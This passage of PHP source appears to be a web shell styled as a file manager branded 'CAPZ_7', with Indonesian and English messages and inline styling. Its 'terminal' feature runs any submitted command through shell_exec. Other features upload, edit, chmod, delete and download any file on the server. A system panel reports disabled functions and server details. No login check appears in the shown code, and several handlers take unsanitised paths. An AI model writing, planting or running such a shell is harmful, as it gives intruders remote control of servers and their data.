$_GET['tab'] : 'files'; // FIX: tab_param dan lang_param selalu disertakan di semua redirect $tab_param = '&tab='.urlencode($active_tab); $lang_param = '&lang='.$lang; // โโ ZIP EXTRACT โโ FIX: Gunakan path absolut + validasi lebih ketat if(isset($_POST['extract_zip'])){ $fname = basename($_POST['zip_file'] ?? ''); if(!$fname) redir($current_dir,'error',($lang==='id'?"Nama file tidak valid.":"Invalid file name."),$tab_param.$lang_param); $src = $current_dir.'/'.$fname; if(!file_exists($src)) redir($current_dir,'error',($lang==='id'?"File zip tidak ditemukan: $fname":"ZIP file not found: $fname"),$tab_param.$lang_param); if(!class_exists('ZipArchive')) redir($current_dir,'error',($lang==='id'?"ZipArchive tidak tersedia.":"ZipArchive not available."),$tab_param.$lang_param); $zip = new ZipArchive(); $res = $zip->open($src); if($res === TRUE){ $base = pathinfo($fname, PATHINFO_FILENAME); $dest = $current_dir.'/'.$base; // Jika folder sudah ada, buat nama unik if(is_dir($dest)) $dest = $current_dir.'/'.$base.'_'.time(); @mkdir($dest, 0755, true); $zip->extractTo($dest); $zip->close(); redir($current_dir,'success',($lang==='id'?"\"$fname\" berhasil diekstrak ke folder \"".basename($dest)."\"":"\"$fname\" extracted to folder \"".basename($dest)."\" successfully."),'&tab=files'.$lang_param); } else { $errMsg = ($lang==='id'?"Gagal membuka ZIP (kode: $res).":"Failed to open ZIP (code: $res)."); redir($current_dir,'error',$errMsg,'&tab=files'.$lang_param); } } // โโ CREATE ZIP โโ FIX: Gunakan path absolut dan validasi file if(isset($_POST['create_zip'])){ $fname = trim($_POST['zip_name'] ?? ''); if(!$fname) redir($current_dir,'error',($lang==='id'?"Nama zip tidak boleh kosong.":"ZIP name cannot be empty."),'&tab=zip'.$lang_param); if(!str_ends_with(strtolower($fname),'.zip')) $fname .= '.zip'; // Amankan nama file $fname = basename($fname); $files = isset($_POST['zip_files']) ? (array)$_POST['zip_files'] : []; if(empty($files)) redir($current_dir,'error',($lang==='id'?"Pilih minimal satu file.":"Select at least one file."),'&tab=zip'.$lang_param); if(!class_exists('ZipArchive')) redir($current_dir,'error',($lang==='id'?"ZipArchive tidak tersedia.":"ZipArchive not available."),'&tab=zip'.$lang_param); $zip = new ZipArchive(); $zippath = $current_dir.'/'.$fname; $res = $zip->open($zippath, ZipArchive::CREATE | ZipArchive::OVERWRITE); if($res === TRUE){ $added = 0; foreach($files as $f){ $fp = $current_dir.'/'.basename($f); // FIX: Validasi file benar-benar ada sebelum ditambahkan if(file_exists($fp) && is_file($fp)){ $zip->addFile($fp, basename($fp)); $added++; } } $zip->close(); if($added > 0){ redir($current_dir,'success',($lang==='id'?"ZIP \"$fname\" berhasil dibuat ($added file).":"ZIP \"$fname\" created successfully ($added files)."),'&tab=zip'.$lang_param); } else { @unlink($zippath); redir($current_dir,'error',($lang==='id'?"Tidak ada file valid yang bisa di-zip.":"No valid files found to ZIP."),'&tab=zip'.$lang_param); } } else { redir($current_dir,'error',($lang==='id'?"Gagal membuat ZIP (kode: $res). Periksa permission folder.":"Failed to create ZIP (code: $res). Check folder permissions."),'&tab=zip'.$lang_param); } } // โโ COPY FILE โโ if(isset($_POST['copy_file'])){ $src = basename($_POST['copy_src'] ?? ''); $dst = trim($_POST['copy_dest'] ?? ''); $srcpath = realpath($current_dir.'/'.$src); if(!$dst) redir($current_dir,'error',($lang==='id'?"Tujuan tidak boleh kosong.":"Destination cannot be empty."),$tab_param.$lang_param); $dstpath = realpath($dst); if(!$dstpath || !is_dir($dstpath)) redir($current_dir,'error',($lang==='id'?"Folder tujuan tidak ditemukan.":"Destination folder not found."),$tab_param.$lang_param); if($srcpath && is_file($srcpath)){ if(copy($srcpath, $dstpath.'/'.$src)) redir($current_dir,'success',($lang==='id'?"\"$src\" berhasil disalin.":"\"$src\" copied successfully."),$tab_param.$lang_param); else redir($current_dir,'error',($lang==='id'?"Gagal menyalin file.":"Failed to copy file."),$tab_param.$lang_param); } } // โโ MOVE FILE โโ if(isset($_POST['move_file'])){ $src = basename($_POST['move_src'] ?? ''); $dst = trim($_POST['move_dest'] ?? ''); $srcpath = realpath($current_dir.'/'.$src); if(!$dst) redir($current_dir,'error',($lang==='id'?"Tujuan tidak boleh kosong.":"Destination cannot be empty."),$tab_param.$lang_param); $dstpath = realpath($dst); if(!$dstpath || !is_dir($dstpath)) redir($current_dir,'error',($lang==='id'?"Folder tujuan tidak ditemukan.":"Destination folder not found."),$tab_param.$lang_param); if($srcpath && is_file($srcpath)){ if(rename($srcpath, $dstpath.'/'.$src)) redir($current_dir,'success',($lang==='id'?"\"$src\" berhasil dipindah.":"\"$src\" moved successfully."),$tab_param.$lang_param); else redir($current_dir,'error',($lang==='id'?"Gagal memindahkan file.":"Failed to move file."),$tab_param.$lang_param); } } // โโ DELETE FILE โโ if(isset($_GET['delete'])){ $name=basename($_GET['delete']); $target=realpath($current_dir.'/'.$name); if($target&&is_file($target)&&unlink($target)) redir($current_dir,'success',($lang==='id'?"File \"$name\" berhasil dihapus.":"File \"$name\" deleted successfully."),'&tab=files'.$lang_param); else redir($current_dir,'error',($lang==='id'?"Gagal menghapus \"$name\".":"Failed to delete \"$name\"."),'&tab=files'.$lang_param); } // โโ DELETE FOLDER โโ if(isset($_GET['delete_dir'])){ $name=basename($_GET['delete_dir']); $target=realpath($current_dir.'/'.$name); if($target&&is_dir($target)){ function rmdir_recursive($dir){ if(!is_dir($dir))return false; $items=scandir($dir); foreach($items as $item){ if($item==='.'||$item==='..') continue; $path=$dir.'/'.$item; if(is_dir($path)) rmdir_recursive($path); else @unlink($path); } return @rmdir($dir); } if(rmdir_recursive($target)) redir($current_dir,'success',($lang==='id'?"Folder \"$name\" berhasil dihapus.":"Folder \"$name\" deleted successfully."),'&tab=files'.$lang_param); else redir($current_dir,'error',($lang==='id'?"Gagal menghapus folder.":"Failed to delete folder."),'&tab=files'.$lang_param); } else redir($current_dir,'error',($lang==='id'?"Folder tidak ditemukan.":"Folder not found."),'&tab=files'.$lang_param); } // โโ DOWNLOAD โโ if(isset($_GET['download'])){ $target=realpath($current_dir.'/'.basename($_GET['download'])); if($target&&is_file($target)){ header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($target).'"'); header('Content-Length: '.filesize($target)); readfile($target);exit; } redir($current_dir,'error',($lang==='id'?"File tidak ditemukan.":"File not found."),'&tab=files'.$lang_param); } // โโ DOWNLOAD FOLDER AS ZIP โโ if(isset($_GET['download_dir'])){ $name = basename($_GET['download_dir']); $target = realpath($current_dir.'/'.$name); if($target && is_dir($target) && class_exists('ZipArchive')){ $tmpzip = sys_get_temp_dir().'/'.uniqid('dir_').$name.'.zip'; $zip = new ZipArchive(); if($zip->open($tmpzip, ZipArchive::CREATE) === TRUE){ $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($target), RecursiveIteratorIterator::LEAVES_ONLY); foreach($files as $file){ if(!$file->isDir()){ $filePath = $file->getRealPath(); $relativePath = $name.'/'.substr($filePath, strlen($target)+1); $zip->addFile($filePath, $relativePath); } } $zip->close(); header('Content-Description: File Transfer'); header('Content-Type: application/zip'); header('Content-Disposition: attachment; filename="'.$name.'.zip"'); header('Content-Length: '.filesize($tmpzip)); readfile($tmpzip); @unlink($tmpzip);exit; } } redir($current_dir,'error',($lang==='id'?"Gagal membuat zip dari folder.":"Failed to create folder ZIP."),'&tab=files'.$lang_param); } // โโ RENAME โโ if(isset($_POST['rename_file'])){ $old=trim($_POST['old_name']??'');$new=trim($_POST['new_name']??''); if($new&&@rename($current_dir.'/'.$old,$current_dir.'/'.$new)) redir($current_dir,'success',($lang==='id'?"\"$old\" โ \"$new\" berhasil direname.":"\"$old\" โ \"$new\" renamed successfully."),'&tab=files'.$lang_param); else redir($current_dir,'error',($lang==='id'?"Gagal rename \"$old\".":"Failed to rename \"$old\"."),'&tab=files'.$lang_param); } // โโ UPLOAD โโ if(isset($_POST['upload'])){ $success=0;$fail=0; if(isset($_FILES['files'])&&is_array($_FILES['files']['name'])){ for($i=0;$i<count($_FILES['files']['name']);$i++){ $fname=basename($_FILES['files']['name'][$i]); $target=$current_dir.'/'.$fname; if($fname&&move_uploaded_file($_FILES['files']['tmp_name'][$i],$target)) $success++; else $fail++; } } if($success>0&&$fail==0) redir($current_dir,'success',($lang==='id'?"$success file berhasil diupload.":"$success file(s) uploaded successfully."),'&tab=upload'.$lang_param); elseif($success>0) redir($current_dir,'success',($lang==='id'?"$success berhasil, $fail gagal.":"$success uploaded, $fail failed."),'&tab=upload'.$lang_param); else redir($current_dir,'error',($lang==='id'?"Gagal upload file.":"Failed to upload file."),'&tab=upload'.$lang_param); } // โโ SAVE FILE โโ if(isset($_POST['save_file'])){ $fname=$_POST['file_name']??''; $bytes=file_put_contents($current_dir.'/'.$fname,$_POST['file_content']??''); if($bytes!==false) redir($current_dir,'success',($lang==='id'?"\"$fname\" disimpan ($bytes bytes).":"\"$fname\" saved ($bytes bytes)."),"&tab=files&edit=".urlencode($fname).$lang_param); else redir($current_dir,'error',($lang==='id'?"Gagal menyimpan.":"Failed to save."),"&tab=files&edit=".urlencode($fname).$lang_param); } // โโ CREATE FILE โโ if(isset($_POST['create_file'])){ $fname=trim($_POST['new_file_name']??'');$path=$current_dir.'/'.$fname; if(!$fname) redir($current_dir,'error',($lang==='id'?"Nama tidak boleh kosong.":"Name cannot be empty."),'&tab=create'.$lang_param); elseif(file_exists($path)) redir($current_dir,'error',($lang==='id'?"File \"$fname\" sudah ada.":"File \"$fname\" already exists."),'&tab=create'.$lang_param); elseif(file_put_contents($path,'')!==false) redir($current_dir,'success',($lang==='id'?"File \"$fname\" berhasil dibuat.":"File \"$fname\" created successfully."),'&tab=create'.$lang_param); else redir($current_dir,'error',($lang==='id'?"Gagal membuat file.":"Failed to create file."),'&tab=create'.$lang_param); } // โโ CREATE FOLDER โโ if(isset($_POST['create_folder'])){ $fname=trim($_POST['new_folder_name']??'');$path=$current_dir.'/'.$fname; if(!$fname) redir($current_dir,'error',($lang==='id'?"Nama tidak boleh kosong.":"Name cannot be empty."),'&tab=create'.$lang_param); elseif(file_exists($path)) redir($current_dir,'error',($lang==='id'?"Folder \"$fname\" sudah ada.":"Folder \"$fname\" already exists."),'&tab=create'.$lang_param); elseif(@mkdir($path,0755,false)) redir($current_dir,'success',($lang==='id'?"Folder \"$fname\" berhasil dibuat.":"Folder \"$fname\" created successfully."),'&tab=create'.$lang_param); else redir($current_dir,'error',($lang==='id'?"Gagal membuat folder.":"Failed to create folder."),'&tab=create'.$lang_param); } // โโ DUPLICATE FILE โโ if(isset($_GET['duplicate'])){ $name=basename($_GET['duplicate']);$src=realpath($current_dir.'/'.$name); if($src&&is_file($src)){ $pathinfo=pathinfo($name); $new_name=$pathinfo['filename'].'_copy.'.(isset($pathinfo['extension'])?$pathinfo['extension']:''); $new_path=$current_dir.'/'.$new_name; if(copy($src,$new_path)) redir($current_dir,'success',($lang==='id'?"\"$name\" โ \"$new_name\" berhasil diduplikasi.":"\"$name\" โ \"$new_name\" duplicated."),'&tab=files'.$lang_param); else redir($current_dir,'error',($lang==='id'?"Gagal duplikasi.":"Failed to duplicate."),'&tab=files'.$lang_param); } } // โโ CHANGE PERMISSIONS โโ if(isset($_POST['change_perms'])){ $fname=$_POST['perm_file']??'';$perms=octdec($_POST['permissions']??'644'); $path=$current_dir.'/'.$fname; if(file_exists($path)){ if(@chmod($path,$perms)) redir($current_dir,'success',($lang==='id'?"Permissions \"$fname\" โ ".decoct($perms).".":"Permissions for \"$fname\" set to ".decoct($perms)."."),'&tab=files'.$lang_param); else redir($current_dir,'error',($lang==='id'?"Gagal ubah permissions.":"Failed to change permissions."),'&tab=files'.$lang_param); } } // โโ EXECUTE COMMAND โโ $cmd_output = ''; $cmd_input_val = ''; if(isset($_POST['run_cmd'])){ $cmd = trim($_POST['cmd_input']??''); $cmd_input_val = $cmd; if($cmd){ $disabled = (!function_exists('shell_exec') || in_array('shell_exec', array_map('trim', explode(',', ini_get('disable_functions'))))); if($disabled){ $cmd_output = '[shell_exec DISABLED on this server]'; } else { $result = shell_exec('cd '.escapeshellarg($current_dir).' && '.$cmd.' 2>&1'); $cmd_output = ($result === null) ? '[No output / Command returned null]' : $result; } } $active_tab = 'terminal'; } // โโ SEARCH FILES โโ $search_query=''; $search_results=[]; if(isset($_POST['search_files'])){ $search_query=trim($_POST['search_query']??''); $active_tab = 'search'; if($search_query){ function search_recursive($dir,$pattern){ $results=[];$items=@scandir($dir); if(!$items)return $results; foreach($items as $item){ if($item==='.'||$item==='..') continue; $path=$dir.'/'.$item; if(stripos($item,$pattern)!==false) $results[]=['name'=>$item,'path'=>$path,'is_dir'=>is_dir($path),'size'=>is_file($path)?filesize($path):0]; if(is_dir($path)) $results=array_merge($results,search_recursive($path,$pattern)); } return $results; } $search_results=search_recursive($current_dir,$search_query); } } // โโ VIEW MODE โโ $view_mode = isset($_COOKIE['view_mode']) ? $_COOKIE['view_mode'] : 'list'; if(isset($_GET['view'])){ $view_mode = $_GET['view']; setcookie('view_mode', $view_mode, time()+86400*30, '/'); } // โโ SORT โโ $sort_by = isset($_GET['sort']) ? $_GET['sort'] : 'name'; $sort_dir = isset($_GET['sdir']) ? $_GET['sdir'] : 'asc'; // โโ Edit file? โโ $edit_file = isset($_GET['edit']) ? $_GET['edit'] : null; $edit_content = '';$edit_size = '';$edit_ext = '';$edit_mtime = ''; if($edit_file){ $fp = $current_dir.'/'.$edit_file; if(is_file($fp)){ $edit_content = file_get_contents($fp); $edit_size = fmt_size(filesize($fp)); $edit_ext = strtolower(pathinfo($fp, PATHINFO_EXTENSION)); $edit_mtime = date('d M Y H:i', filemtime($fp)); $active_tab = 'files'; } else { $edit_file = null; } } // โโ Rename? โโ $rename_file = isset($_GET['rename']) ? $_GET['rename'] : null; // โโ Stats โโ $all_items = @scandir($current_dir) ?: []; $all=array_filter($all_items,fn($f)=>$f!='.'&&$f!='..'); $fc_count=count(array_filter($all,fn($f)=>is_file($current_dir.'/'.$f))); $dc_count=count(array_filter($all,fn($f)=>is_dir($current_dir.'/'.$f))); $disk_free=function_exists('disk_free_space')?fmt_size(disk_free_space($current_dir)):'N/A'; $disk_total=function_exists('disk_total_space')?fmt_size(disk_total_space($current_dir)):'N/A'; $disk_used=function_exists('disk_free_space')&&function_exists('disk_total_space')?fmt_size(disk_total_space($current_dir)-disk_free_space($current_dir)):'N/A'; $eDir = urlencode((string)$current_dir); $eRoot = urlencode((string)$root_dir); $is_root = ($current_dir === $root_dir); $parent_dir = dirname($current_dir); $eParent = urlencode((string)$parent_dir); $crumbs = breadcrumb_parts_full($current_dir, $root_dir); function sort_link($col,$label,$icon,$current_sort,$current_dir_str,$current_sort_dir,$cur_tab='files',$lp=''){ $nd=($current_sort===$col&&$current_sort_dir==='asc')?'desc':'asc'; $arrow=($current_sort===$col)?($current_sort_dir==='asc'?' โ':' โ'):''; $eD=urlencode($current_dir_str); return "<a href='?dir={$eD}&sort={$col}&sdir={$nd}&tab=".urlencode($cur_tab)."$lp' style='color:var(--mute);text-decoration:none;font-size:.6rem;font-weight:700;text-transform:uppercase;letter-spacing:.16em'><i class='{$icon}'></i> {$label}{$arrow}</a>"; } function listDirectory($dir,$sort_by='name',$sort_dir='asc',$view_mode='list',$active_tab='files',$t=[],$lp=''){ $items=@scandir($dir); if(!$items){ echo '<tr><td colspan="6" class="empty-td"><div class="empty-state"><i class="fa-solid fa-circle-exclamation"></i><span>'.htmlspecialchars($t['cannot_read']).'</span></div></td></tr>'; return; } $dirs_arr=$files_arr=[]; foreach($items as $f){ if($f==='.'||$f==='..') continue; $fp=$dir.'/'.$f; $info=['name'=>$f,'mtime'=>@filemtime($fp),'perms'=>substr(sprintf('%o',@fileperms($fp)),-3),'size'=>is_file($fp)?@filesize($fp):0]; is_dir($fp)?$dirs_arr[]=$info:$files_arr[]=$info; } $cmp=function($a,$b)use($sort_by,$sort_dir){ $v=match($sort_by){ 'size' =>$a['size']<=>$b['size'], 'mtime'=>$a['mtime']<=>$b['mtime'], 'perms'=>strcmp($a['perms'],$b['perms']), default=>strcasecmp($a['name'],$b['name']), }; return $sort_dir==='desc'?-$v:$v; }; usort($dirs_arr,$cmp); usort($files_arr,$cmp); if(!$dirs_arr&&!$files_arr){ echo '<tr><td colspan="6" class="empty-td"><div class="empty-state"><i class="fa-solid fa-box-open"></i><span>'.htmlspecialchars($t['empty_dir']).'</span></div></td></tr>'; return; } $eD=urlencode($dir); // โโ GRID VIEW โโ if($view_mode==='grid'){ echo '<tr><td colspan="6" style="padding:0"><div class="grid-view">'; foreach($dirs_arr as $d){ $eD2 = urlencode($dir.'/'.$d['name']); $eFH = htmlspecialchars($d['name']); $eFU = urlencode($d['name']); echo "<div class='grid-item' onclick=\"location='?dir={$eD2}&tab=files{$lp}'\"> <div class='grid-icon'><i class='fa-solid fa-folder' style='color:#ffd166;font-size:2rem'></i></div> <div class='grid-name' title='{$eFH}'>{$eFH}</div> <div class='grid-meta'>DIR</div> <div class='grid-actions' onclick='event.stopPropagation()'> <a href='?dir={$eD2}&tab=files{$lp}' class='ab ab-open' title='{$t['open']}'><i class='fa-solid fa-folder-open'></i></a> <a href='?dir={$eD}&rename={$eFU}&tab=files{$lp}' class='ab ab-rename' title='{$t['rename']}'><i class='fa-solid fa-pen'></i></a> <a href='?dir={$eD}&download_dir={$eFU}{$lp}' class='ab ab-dl' title='{$t['dl_zip']}'><i class='fa-solid fa-file-zipper'></i></a> <a href='javascript:void(0)' class='ab ab-del' title='{$t['delete']}' onclick=\"confirmDelete('folder','{$eFH}','?dir={$eD}&delete_dir={$eFU}{$lp}')\"><i class='fa-solid fa-trash'></i></a> </div> </div>"; } foreach($files_arr as $f){ [$fic,$fcol] = fa_icon($f['name']); $eFH = htmlspecialchars($f['name']); $eFU = urlencode($f['name']); $sstr = fmt_size($f['size']); $isZip = in_array(strtolower(pathinfo($f['name'],PATHINFO_EXTENSION)),['zip','rar','tar','gz']); $extractBtn = $isZip ? "<a href='javascript:void(0)' class='ab ab-extract' title='{$t['extract']}' onclick=\"openExtractModal('{$eFH}');event.stopPropagation()\"><i class='fa-solid fa-box-archive'></i></a>" : ""; echo "<div class='grid-item'> <div class='grid-icon'><i class='{$fic}' style='color:{$fcol};font-size:2rem'></i></div> <div class='grid-name' title='{$eFH}'>{$eFH}</div> <div class='grid-meta'>{$sstr}</div> <div class='grid-actions'> <a href='?dir={$eD}&edit={$eFU}&tab=files{$lp}' class='ab ab-edit' title='{$t['edit']}'><i class='fa-solid fa-code'></i></a> <a href='?dir={$eD}&rename={$eFU}&tab=files{$lp}' class='ab ab-rename' title='{$t['rename']}'><i class='fa-solid fa-pen'></i></a> <a href='?dir={$eD}&download={$eFU}{$lp}' class='ab ab-dl' title='{$t['download']}'><i class='fa-solid fa-download'></i></a> {$extractBtn} <a href='javascript:void(0)' class='ab ab-del' title='{$t['delete']}' onclick=\"confirmDelete('file','{$eFH}','?dir={$eD}&delete={$eFU}{$lp}')\"><i class='fa-solid fa-trash'></i></a> </div> </div>"; } echo '</div></td></tr>'; return; } // โโ LIST VIEW โโ foreach($dirs_arr as $d){ $eD2 = urlencode($dir.'/'.$d['name']); $eFH = htmlspecialchars($d['name']); $eFU = urlencode($d['name']); $mtime= date('d M Y H:i',$d['mtime']); echo "<tr class='fr selectable-row' data-name='{$eFH}' onclick=\"location='?dir={$eD2}&tab=files{$lp}'\" style='cursor:pointer'> <td class='cb-cell'><input type='checkbox' class='row-cb' value='{$eFH}' onclick='event.stopPropagation()'></td> <td class='nc'><span class='fi-wrap'><i class='fa-solid fa-folder fi-folder'></i></span><span class='fn'>{$eFH}</span></td> <td><span class='badge-dir'><i class='fa-solid fa-folder-open'></i> DIR</span></td> <td class='mtime'>{$mtime}</td> <td class='perms'>{$d['perms']}</td> <td class='ac' onclick='event.stopPropagation()'> <a href='?dir={$eD2}&tab=files{$lp}' class='ab ab-open' title='{$t['open']}'><i class='fa-solid fa-folder-open'></i></a> <a href='?dir={$eD}&rename={$eFU}&tab=files{$lp}' class='ab ab-rename' title='{$t['rename']}'><i class='fa-solid fa-pen'></i></a> <a href='?dir={$eD}&download_dir={$eFU}{$lp}' class='ab ab-dl' title='{$t['dl_zip']}'><i class='fa-solid fa-file-zipper'></i></a> <a href='javascript:void(0)' class='ab ab-del' title='{$t['delete']}' onclick=\"confirmDelete('folder','{$eFH}','?dir={$eD}&delete_dir={$eFU}{$lp}')\"><i class='fa-solid fa-trash'></i></a> </td> </tr>"; } foreach($files_arr as $f){ $sstr = fmt_size($f['size']); [$fic,$fcol] = fa_icon($f['name']); $eFH = htmlspecialchars($f['name']); $eFU = urlencode($f['name']); $mtime= date('d M Y H:i',$f['mtime']); $isZip = in_array(strtolower(pathinfo($f['name'],PATHINFO_EXTENSION)),['zip','rar','tar','gz']); $extractBtn = $isZip ? "<a href='javascript:void(0)' class='ab ab-extract' title='{$t['extract']}' onclick=\"openExtractModal('{$eFH}');return false\"><i class='fa-solid fa-box-archive'></i></a>" : ""; echo "<tr class='fr selectable-row' data-name='{$eFH}'> <td class='cb-cell'><input type='checkbox' class='row-cb' value='{$eFH}' onclick='event.stopPropagation()'></td> <td class='nc'><span class='fi-wrap'><i class='{$fic} fi-file' style='color:{$fcol}'></i></span><span class='fn'>{$eFH}</span></td> <td><span class='fsize'>{$sstr}</span></td> <td class='mtime'>{$mtime}</td> <td class='perms'><a href='#' onclick=\"openPermModal('{$eFH}','{$f['perms']}');return false\" style='color:var(--mute);text-decoration:none'>{$f['perms']}</a></td> <td class='ac'> <a href='?dir={$eD}&edit={$eFU}&tab=files{$lp}' class='ab ab-edit' title='{$t['edit']}'><i class='fa-solid fa-code'></i></a> <a href='?dir={$eD}&rename={$eFU}&tab=files{$lp}' class='ab ab-rename' title='{$t['rename']}'><i class='fa-solid fa-pen'></i></a> <a href='?dir={$eD}&duplicate={$eFU}{$lp}' class='ab ab-copy' title='{$t['duplicate']}'><i class='fa-solid fa-copy'></i></a> <a href='?dir={$eD}&download={$eFU}{$lp}' class='ab ab-dl' title='{$t['download']}'><i class='fa-solid fa-download'></i></a> <a href='javascript:void(0)' class='ab ab-zip' title='{$t['copymove']}' onclick=\"openCopyMoveModal('{$eFH}');return false\"><i class='fa-solid fa-arrows-up-down-left-right'></i></a> {$extractBtn} <a href='javascript:void(0)' class='ab ab-del' title='{$t['delete']}' onclick=\"confirmDelete('file','{$eFH}','?dir={$eD}&delete={$eFU}{$lp}')\"><i class='fa-solid fa-trash'></i></a> </td> </tr>"; } } $lp = '&lang='.$lang; $js_current_dir = addslashes($current_dir); $js_root_dir = addslashes($root_dir); // โโ SYSTEM INFO for Tools โโ function get_sys_info(){ $info = []; $info['php_version'] = PHP_VERSION; $info['php_sapi'] = PHP_SAPI; $info['os'] = php_uname(); $info['server_software']= $_SERVER['SERVER_SOFTWARE'] ?? 'N/A'; $info['max_upload'] = ini_get('upload_max_filesize'); $info['max_post'] = ini_get('post_max_size'); $info['max_exec'] = ini_get('max_execution_time').'s'; $info['memory_limit'] = ini_get('memory_limit'); $info['extensions'] = implode(', ', get_loaded_extensions()); $info['disabled_funcs'] = ini_get('disable_functions') ?: 'none'; $info['session_save'] = ini_get('session.save_path') ?: 'default'; $info['timezone'] = date_default_timezone_get(); $info['curl'] = function_exists('curl_version') ? (curl_version()['version'] ?? 'yes') : 'N/A'; $info['gd'] = function_exists('gd_info') ? (gd_info()['GD Version'] ?? 'yes') : 'N/A'; $info['zip'] = class_exists('ZipArchive') ? 'Available' : 'Not available'; $info['pdo'] = class_exists('PDO') ? implode(', ', PDO::getAvailableDrivers()) : 'N/A'; $info['opcache'] = function_exists('opcache_get_status') ? 'Available' : 'N/A'; return $info; } $sys_info = get_sys_info(); ?> <!DOCTYPE html> <html lang="<?=$lang?>"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width,initial-scale=1"> <title><?=htmlspecialchars($t['title'])?> โ CAPZ_7</title> <link rel="preconnect" href="https://fonts.googleapis.com"> <link href="https://fonts.googleapis.com/css2?family=Fira+Code:wght@300;400;500;600;700&family=DM+Sans:ital,opsz,wght@0,9..40,300;0,9..40,400;0,9..40,500;0,9..40,600;0,9..40,700;1,9..40,300&display=swap" rel="stylesheet"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css"> <style> :root{ --bg:#080810;--s1:#0d0d1a;--s2:#111124;--s3:#161630;--s4:#1c1c3a; --b1:#1e1e3c;--b2:#272750;--b3:#353566; --v:#7c5cfc;--v2:#a080ff;--v3:#c4aaff; --c:#00f5c4;--c2:#4fffd8; --pk:#ff4d8d;--pk2:#ff80aa; --y:#ffd166;--g:#39ff7e;--r:#ff3d6b;--o:#ff9800; --txt:#e0e0f0;--dim:#7070a0;--mute:#404068;--ghost:#22223a; --rad:14px;--rads:8px;--radp:5px;--tr:all .18s cubic-bezier(.4,0,.2,1); } *,*::before,*::after{box-sizing:border-box;margin:0;padding:0} html{scroll-behavior:smooth} body{background:var(--bg);color:var(--txt);font-family:'DM Sans',sans-serif;min-height:100vh;overflow-x:hidden;-webkit-font-smoothing:antialiased;} .bg-layer{position:fixed;inset:0;pointer-events:none;z-index:0;} .bg-layer::before{content:'';position:absolute;inset:0;background:radial-gradient(ellipse 90% 60% at 5% -10%,rgba(124,92,252,.18) 0%,transparent 55%),radial-gradient(ellipse 70% 80% at 100% 110%,rgba(0,245,196,.11) 0%,transparent 55%),radial-gradient(ellipse 60% 50% at 60% 55%,rgba(255,77,141,.07) 0%,transparent 55%);} .bg-grid{position:fixed;inset:0;pointer-events:none;z-index:0;background-image:linear-gradient(rgba(124,92,252,.04) 1px,transparent 1px),linear-gradient(90deg,rgba(124,92,252,.04) 1px,transparent 1px);background-size:40px 40px;} .wrap{position:relative;z-index:1;max-width:1380px;margin:0 auto;padding:22px 20px 100px} .hdr{display:flex;align-items:center;justify-content:space-between;margin-bottom:22px;padding-bottom:18px;border-bottom:1px solid var(--b1);flex-wrap:wrap;gap:12px;position:relative;} .hdr::after{content:'';position:absolute;bottom:-1px;left:0;width:120px;height:1px;background:linear-gradient(90deg,var(--v),transparent);} .brand-block{display:flex;align-items:center;gap:14px} .brand-logo{width:44px;height:44px;border-radius:12px;background:linear-gradient(135deg,var(--v),var(--c));display:flex;align-items:center;justify-content:center;font-size:1.1rem;color:#fff;box-shadow:0 0 24px rgba(124,92,252,.5),0 0 48px rgba(124,92,252,.2);flex-shrink:0;} .brand{font-family:'Fira Code',monospace;font-weight:700;font-size:clamp(1.1rem,3vw,1.6rem);letter-spacing:-.03em;background:linear-gradient(120deg,var(--v) 0%,var(--c) 50%,var(--pk) 100%);background-size:200% auto;-webkit-background-clip:text;-webkit-text-fill-color:transparent;animation:shimmer 5s linear infinite;line-height:1;} @keyframes shimmer{to{background-position:200% center}} .brand-sub{font-family:'Fira Code',monospace;font-size:.55rem;font-weight:300;color:var(--dim);letter-spacing:.2em;text-transform:uppercase;margin-top:2px;} .hdr-right{display:flex;align-items:center;gap:8px;flex-wrap:wrap} .hdr-pill{display:flex;align-items:center;gap:6px;padding:5px 12px;background:var(--s2);border:1px solid var(--b1);border-radius:30px;font-size:.68rem;font-weight:500;color:var(--dim);} .hdr-pill i{color:var(--v2);font-size:.7rem} .hdr-pill strong{color:var(--txt);font-weight:700} .lang-btn{display:inline-flex;align-items:center;gap:6px;padding:5px 14px;background:var(--s2);border:1.5px solid rgba(124,92,252,.35);border-radius:30px;font-size:.72rem;font-weight:700;color:var(--v2);text-decoration:none;transition:var(--tr);cursor:pointer;} .lang-btn:hover{background:rgba(124,92,252,.15);border-color:var(--v2)} .cards{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:8px;margin-bottom:18px;} .card{background:var(--s1);border:1px solid var(--b1);border-radius:var(--rad);padding:12px 14px;position:relative;overflow:hidden;transition:var(--tr);} .card::before{content:'';position:absolute;top:0;left:0;right:0;height:2px;background:linear-gradient(90deg,var(--v),var(--c),var(--pk));background-size:200% auto;transform:scaleX(0);transform-origin:left;transition:transform .3s ease;} .card:hover{border-color:var(--b3);transform:translateY(-2px);box-shadow:0 8px 24px rgba(0,0,0,.3)} .card:hover::before{transform:scaleX(1)} .card-icon{width:28px;height:28px;border-radius:7px;display:flex;align-items:center;justify-content:center;font-size:.78rem;margin-bottom:8px;} .card-icon.vi{background:rgba(124,92,252,.15);color:var(--v2)} .card-icon.ci{background:rgba(0,245,196,.12);color:var(--c)} .card-icon.pi{background:rgba(255,77,141,.12);color:var(--pk2)} .card-icon.yi{background:rgba(255,209,102,.12);color:var(--y)} .card-icon.gi{background:rgba(57,255,126,.12);color:var(--g)} .card-icon.ri{background:rgba(255,61,107,.12);color:var(--r)} .card-lbl{font-size:.56rem;font-weight:700;text-transform:uppercase;letter-spacing:.15em;color:var(--mute);margin-bottom:3px} .card-val{font-family:'Fira Code',monospace;font-size:.74rem;color:var(--c2);word-break:break-all;line-height:1.4} .disk-bar-wrap{height:4px;background:var(--b2);border-radius:4px;margin-top:5px;overflow:hidden;} .disk-bar{height:100%;border-radius:4px;background:linear-gradient(90deg,var(--v),var(--c));} .nav-bar{display:flex;align-items:center;gap:6px;margin-bottom:10px;flex-wrap:wrap;} .nav-btn{display:inline-flex;align-items:center;justify-content:center;gap:5px;padding:6px 12px;background:var(--s2);border:1px solid var(--b1);border-radius:var(--rads);font-size:.72rem;font-weight:600;color:var(--dim);text-decoration:none;cursor:pointer;transition:var(--tr);} .nav-btn:hover{background:var(--s3);border-color:var(--b3);color:var(--txt)} .nav-btn.home-btn{color:var(--c);border-color:rgba(0,245,196,.3);} 